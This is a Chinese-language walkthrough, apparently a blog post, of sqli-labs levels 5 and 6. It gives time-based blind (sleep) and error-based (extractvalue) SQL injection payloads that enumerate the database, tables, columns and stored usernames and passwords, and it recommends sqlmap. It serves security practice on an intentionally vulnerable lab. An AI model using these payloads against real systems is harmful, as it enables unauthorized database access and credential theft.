sqli2 第5,6关

第一种,时间延迟型注入手工注入

时间延迟型手工注入,正确会延迟,错误没有延迟。可以通过浏览器的刷新提示观察延迟情况,但是id正确的时候的回显有利于观察。

我们构造sql语句,带上时间延迟的函数,如果有明显的延迟说明有注入点。

?id=1’ and if(length(database())=n,sleep(5),1)--+

经过几次尝试,发现数据库长度为8时有明显延迟5秒。

?id=1' and if(length(database())=8,sleep(5),1)--+

猜库名

数据库第一个字符为s,加下来以此增加left(database(),字符长度)中的字符长度,等号右边以此爆破下一个字符,正确匹配时会延迟。最终爆破得到left(database(),8)='security'

?id=1' and if(left(database(),1)='s',sleep(5),1)--+

猜表名

?id=1' and if(left((select table_name from information_schema.tables where table_schema=database() limit 3,1),5)='users',sleep(5),5)--+

经过几次尝试找到了表名。

猜列名

?id=1' and if(left((select column_name from information_schema.columns where table_name='users' limit 4,1),8)='password',sleep(5),1)--+

首先尝试定向爆破,以提高手工注入速度,修改limit x,1 中的x查询password是否存在表中,lucky的是limit 3,1的时候查到了password列,同样的方法查询username ,又一个lucky

猜值

?id=1’ and if(left((select password from users order by id limit 0,1),4)=‘dumb’ ,sleep(5),1)–+

?id=1’ and if(left((select username from users order by id limit 0,1),4)=‘dumb’ ,sleep(5),1)–+

按照id排序,这样便于对应。注意limit 从0开始.通过坚持不懈的尝试终于爆破到第一个用户的名字dumb,密码dumb,需要注意的是,mysql对大小写不敏感,所以你不知道是Dumb 还是dumb

到这里建议使用sqlmap   https://www.cnblogs.com/tac2664/p/13772176.html 第一关的第二种方法,相同 用工具既省劲又方便

第二种,报错注入

爆库

?id=1' and extractvalue(1,concat(0x23,database(),0x23))--+

 爆表名

?id=1' and extractvalue(1,concat(0x23,(select table_name from information_schema.tables where table_schema=database() limit 1,1),0x23))--+

 爆列名

?id=1' and extractvalue(1,concat(0x23,(select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 1,1),0x23))--+

爆数据

?id=1' and extractvalue(1,concat(0x23,(select password from users order by id limit 0,1),0x23))--+

?id=1' and extractvalue(1,concat(0x23,(select username from users order by id limit 2,1),0x23))--+

用limit 可以看所有的数据了。

第六关

源码中:

$id = '"'.$id.'"';
$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";

将第五关的单引号改为双引号即可。

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值